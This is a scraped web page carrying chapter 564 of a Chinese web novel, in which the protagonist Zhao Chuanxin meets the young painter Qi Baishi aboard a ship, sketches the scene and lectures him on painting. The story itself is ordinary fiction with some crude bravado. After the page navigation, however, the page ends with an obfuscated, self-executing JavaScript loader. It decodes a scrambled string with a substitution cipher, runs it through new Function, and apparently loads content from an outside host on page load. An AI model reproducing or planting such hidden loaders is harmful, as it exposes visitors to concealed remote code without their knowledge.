返回

清末的法师

首页
关灯
护眼
字体:
第564章 几十年后再取画
先把本杰明戈德伯格丢上去,旋即甩出裁决之鞭,同时吹起了口哨。

裁决之鞭后发先至,缠在了船舷上,另一端卷住了本杰明戈德伯格。

赵传薪在下面喊:“两位,帮忙拉一把,别只顾着看热闹。”

郭人漳没动,齐璜却伸手去帮忙拉扯。

别看他戴着眼镜,一副书生模样,但年轻时候干过木匠,学过雕花木工的活计,手上还算有一把子力气。

本杰明戈德伯格自己也用力,跨上了船舷。

见一个洋人半大孩子,齐璜和郭人漳倍感惊奇。

再看下面,发现那板子已经消失不见。

干饭海上奔跑,忽然跃起。

赵传薪屈起双膝,智能陀螺仪先沉后起,赵传薪在半空接住干饭,顺势跳了数米高。

庞仓……落在甲板上。

赵传薪乐呵呵的拱拱手:“二位,幸会幸会。”

齐璜和郭人漳满脸呆滞。

郭人漳忽然想到了什么,脸色微变:“你是赵传薪?”

齐璜的反应与他相反,露出惊喜之色,拱手说:“赵先生,久仰大名。在下齐璜,字萍生,号白石,一介懂作画的乡巴佬。这位乃……”

没等介绍到郭人漳,郭人漳就出声打断:“郭人漳,字葆生,湘潭人。”

显然不愿意多透露自己身份。

赵传薪惊讶的看着齐璜:“齐白石?”

委实意外。

小学课本上的名人,只是年轻了无数倍,怪不得看着面善,但大体轮廓没变,胡子和他老年时没什么区别,头发此时更加整齐,阴阳头留辫子……

齐璜诧异:“赵先生认得我?”

赵传薪缺乏对名人的敬畏,大大咧咧的说:“名号有些意思。你说你懂作画,那好,不如就在此时此地,我出钱你给画个十幅画。”

名人,未必是大家想的那样出淤泥而不染。

事实上,赵传薪因为也喜欢绘画,读了不少艺术相关的书籍,还算了解齐白石。

他幼年时贫苦,放过牛,种过地,砍过柴,上过半年私塾就辍学了。

他也好色,垂垂老矣还不忘纳妾,且有了旧人惦记新人。

他也自卑且自负,跟人吹嘘:我诗第一,印第二,字第三,画第四。

事实上却正相反,他浸淫一生的画技排第一,其余排不上号。

这就是越缺少什么,越在意什么,典型的自卑而自负的表现。

赵传薪不在意其它,只是想着此人的画有纪念意义。

齐璜没料到鼎鼎大名、时常搅动世界风云的赵传薪,会一见面就提出这种要求。

他欣然接受:“十幅画不免透干灵气,在下不收费,能为赵先生作画乃是荣幸。”

此时的他已经斩头露角,小有名气,靠卖画有了些家资。

但远不像后世名气那么大。

作为艺术家的傲气或许有,但在赵传薪面前,那点傲气也就收敛起来了。

赵传薪眼睛一亮:“那还等啥?现在就画吧。”

“……”齐璜摇头:“舟车摇晃,稍有偏颇画作便毁于一旦,赵先生不妨等到了钦州,再作不迟。”

既如此,赵传薪就掏出了纸笔:“行,既然你我有缘,你要送我画,我也送你一幅。”

没道理只单向索取,赵传薪偏要反向输出。

后世人将知道,这个时代里,除了齐白石还有他赵传薪的一席之地。

齐璜眼前一亮:“原来赵传薪也会作画?”

“说来惭愧。”赵传薪这次很谦虚:“技术很浅显。”

本杰明戈德伯格错愕的看着师父,这可不像师父的性格啊?

他不知道,在绘画的领域中,赵传薪在齐白石面前也不敢托大。

他又拿出了画板,将纸夹上。取出钢笔,以他此时的角度观摩船和在场人物,稍一打量就下笔了。

齐璜纳闷:“赵先生从哪拿出来的板子和笔墨?”

随手一抄就有,不科学。

赵传薪头也不抬:“都是细枝末节,不重要。”

口头谦虚,不代表下笔会迟疑。

想当初,他练习钢笔画的时候,练习线条练的快吐了,螺丝钉和梯子通常一本一本的画。

再到后来的赛博朋克风的幻想图,复杂到极点的建筑……

赵传薪作画的特点就是毫不停顿,容错率超高,手腕抖动的频率叫人拍案称绝。

真速写。

郭人漳不愿意多和赵传薪接触,但他热衷艺术,忍不住在后面和齐璜一起观摩。

待看到赵传薪打印机一样的速度后,不由得倒吸一口凉气。

这种花活,在这个时代还不存在。

颇有种在麻瓜面前使用魔法的意思。

好像假期最后一天赶作业的学生,像极了夜半三更发现只字未动而第二天等着更新的写手。

齐璜忍不住:“赵先生,你这……”

起初看似潦草,线条极简,片刻后,船的烟囱就出来了,惟妙惟肖。

赵传薪作画,如今已经不必顾及前中后景做出先后顺序,他真的可以像打印机那样,想画哪部分就画哪部分。

甚至这幅画的视角,都不是以他此时站位的视角。

略带俯瞰的意思,画中囊括了整个一艘轮船,囊括了他们四人,包括正在作画的赵传薪自己。

船只和环境是工细的刻画,到了人物部分,赵传薪则用了点大写意的手法,形象逼真但笔墨极简,笔线变得无力,没有强烈的墨韵,却比起轮船部分来说显得更加活泼,甚至能在画中看出幽默的意味。

外行看热闹,内行看门道,起初齐璜还有些瞧不上赵传薪只注重工笔的西洋画法,可到了这里,神色才变得凝重。

要说有什么能限制赵传薪的速度,那唯有钢笔沾墨的时间了。

他沾墨也有特点,蜻蜓点水一沾,通常是看也不看,却能恰到好处。

绝对不会因为多沾了而洇墨。也不会因为没沾上,需要第二次沾。

画完最后一笔,赵传薪退后两步,自己先观摩一遍,然后满意的点点头:“发挥稳定,大功告成。”

钢笔画有个好处,每次画完,都让人有种完工的喜悦和满足。

齐璜打量,不断点头:“西洋画技,重工不重写意,难得的赵先生融入了我们大写意的味道,从雄肆明朗到真率自然的转变,可见对这种画技已臻炉火纯青之境。真是难以想象,鼎鼎大名的战神,竟然有这等本事!”

他是由心的佩服。

术业有专攻,按照传闻,赵传薪就是个天天舞刀弄枪的莽夫,可偏偏就这么一个人,竟然能画一手惊世骇俗的画。

这传出去,怕是会惊掉许多人的下巴。

赵传薪起初还觉得在齐璜面前,太过张扬不好。

可此时忽然想通了,从上世纪80年代,到1901年,这段时期齐璜一直在模仿期,作了大量的假画。1902到1918年期间,是他的发展转型期。

距离游刃有余,登峰造极还早的呢。

所以自己完全没必要在他面前露怯。

想通此节,赵传薪露出一排整齐的牙齿:“夸张了夸张了,赵某只粗通基础画技,在世界艺术圈子里,勉强也就能排的上前十,真的不能再高了。”

齐璜:“……”

郭人漳都听傻了,没见过如此厚颜无耻之辈。

海风将画纸吹弯了一角,齐璜伸手抚平。

他颇为欣喜:“赵先生当真将这幅画送我?”

“自然。”赵传薪说:“我等着你的画昂,做人要有来有往。”

瞧这话说的,齐璜哭笑不得,他还能赖账怎地?

郭人漳也有些眼热。

他是爱画的人。

要知道,他为了得到齐璜的画,可没少下本钱。

经常邀请他游山玩水,一溜达就是一年,甚至有些不务正业了。

并且,时常准备一些小礼物,比如枷楠香珠盒、欣香、迦楠沉香等等文人墨客喜欢的东西。

钢笔画在此时也已经出现,但数量极少,叫作硬笔画。

炭笔也硬,但不能称为硬笔画。

加上赵传薪的名头,要是得到这么一幅画,拿出去吹嘘一番也是一件妙事。

须知他还没听过有什么人收藏了赵传薪的作品。

齐璜见猎心喜,也取出自己的一幅画给赵传薪观摩:“赵先生看看这幅画如何?”

赵传薪接过一看,画的是一只蟋蟀。

如果非要评价,赵传薪用四个字可以概括清新秀雅。

说实话,如果只是这个水平的话,赵传薪都懒得收藏。

想到这里,他突然对齐璜说:“算了,我最近很忙,你先不要画。等有时间了,我再去找你要画。”

心说看看三四十年后有没有时间吧。

等齐璜成熟鼎盛,或者晚年辉煌时期,那时候再要不迟,反正赵传薪有信心能活到他的后头去。

这就叫,好菜不怕晚。

齐璜似乎看出点赵传薪的心思,那股子傲气上来了:“莫非赵先生瞧不上齐某的画?”

或许是同为画家,让齐璜忘记了赵传薪的身份。

赵传薪点上一根烟,斜着眼看他着他:“妈的,老子说啥时候要就啥时候要,叽叽歪歪啥?就是看不上你现在的画,你又能怎地?”

“……”说实话,齐璜是有些怕的,毕竟赵传薪杀人如麻。他结结巴巴问:“那,那,那在下画作有何不妥还请指点。”

赵传薪叼着烟,拿着那副蟋蟀图,劈头盖脸的指点起这个后世名家:“你用色习惯太单一,民间的大红大绿为何不敢用?笔法太清秀了,你是大姑娘吗?爷们就要有爷们的霸气。不能光顾着写意,要懂得将精细的工笔和酣畅淋漓的大写意相结合,走出一条你自己独特的道路……”

赵传薪说的都是废话,就是齐璜后来走的路线,只不过提前给他挑明了而已。

起初齐璜是不服气的,随着赵传薪的话,有些东西逐渐在他内心贯通。

这时,旁边的郭人漳壮着胆子开口:“恕我直言,赵先生擅长西洋画,指点他人水墨中国画属实有些……”

齐璜却制止了他:“赵先生说的在理,齐某早就想锐意开创,苦于没有头绪,今听君一席话,真是豁然开朗。”

郭人漳:“……”

本杰明戈德伯格得意的笑了笑,对郭人漳说:“这都是画家圈子里的事,你啥也不懂参合什么?”

赵传薪立马呵斥:“大胆,谁让你说实话的?”

郭人漳:“……”

“……”齐璜好悬笑出声:“这位小友是赵先生徒弟?跟着赵先生习画?”

赵传薪摇头:“劣徒跟赵某学的是杀人技。”

是杀人技,不是擂台技,传统杀人技讲究的是说学逗唱!

此时,有个船员匆匆而来,老远就指着赵传薪师徒说:“有人举报,说你们偷偷登船,现在请出示船票!”

(本章完)


上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();